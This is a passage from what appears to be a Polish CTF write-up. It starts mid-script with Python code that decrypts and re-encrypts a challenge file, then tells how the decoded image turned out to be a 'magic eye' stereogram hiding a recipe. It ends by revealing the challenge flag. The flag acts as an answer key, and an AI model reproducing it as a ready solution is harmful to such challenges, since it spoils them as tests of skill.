        chunks.append(bts[i: i + 65536])
    for c in chunks:
        parts.extend(encrypt(c, d))
        print(len(c))

    open('plaint2', 'w+b').write(parts)
    return parts


if __name__ == '__main__':
    seed = get_seed('blekota')
    parts = decryption('./przepis', seed)
    print('############')
    parts2 = encryption(parts, seed)
    parts3 = bytearray(0)
    parts3.extend(open('./przepis', 'rb').read())
    diff = 0
    for i, j in zip(parts2, parts3):
        if int(i) != int(j):
            diff += 1
    print(diff)
    print(diff/len(parts2))

Wyjściowa grafika prezentuje się tak:

Obrazek

Stegangorafia?

Otrzymany w wyniku zdekodowania plik przedstawiał… no właśnie co przedstawiał? Regularne kształty roślin sugerują, że przedstawiony obrazek przechowuje dodatkowe informacje. Jednak ani wpatrywanie się weń, ani wyodrębnienie EXIFów nie przyniosło porządanych wyników. Nie jestem zwolennikiem steganografii w zadaniach typu CTF, bowiem gracz szuka czegoś w czymś i jedyny sposób rozwiązania takich wyzwań to po prostu odgadnięcie metody wykorzystanej do ukrycia tego “czegoś” w tym “czymś”. Na szczęście są narzędzia, które automatyzują i testują wiele popularnych sztuczek. Oszczędzają w ten sposób wiele czasu. W czasie gdy obrazek przechodził testy stegoveritas oraz stego-toolkit postanowiłem wrzucić go w Google Image Search i wykorzystując wyszukiwanie obrazem trafiłem na poniższy wątek w portalu reddit.

Okazuje się, że taka grafika została wykorzystana do ukrycia informacji z wykorzystaniem zupełnie innych metod niż te, które rozpatrywałem. Odkrycie pozwoliło na pominięcie wątku steganografii i skupienie się na wyodrębnieniu wiadomości. Fraza, którą określono obrazek na reddicie to magic eye image. Okazuje się, że istnieje narzędzie, które próbuje znanych metod pozyskania wiadomości.

Przepis na gorszek prezentuje się nastepująco:

Przepis

Podobny efekt można osiągnąć wykorzystując program graficzny Gimp, przesuwając warstwy obrazu.

Podsumowanie

Flaga to FLG{potas, pieprz, lukrecja}, co brzmi jak całkiem sensowny pomysł na przepyszną potrawę ;)

Zadanie udało mi się ukończuć w stosunkowo krótkim czasie, bez dostępnych podpowiedzi, jednak było całkiem przemyślane i dużo lepsze od poprzednich. Jak pisałem wyżej, na razie odpuszczę sobie kolejne wyzwania do momentu skoku ich trudności. Czterokrotne podium mnie zadowala. Serdecznie dziękuję za zabawę :)

foxtrot_charlie over and out!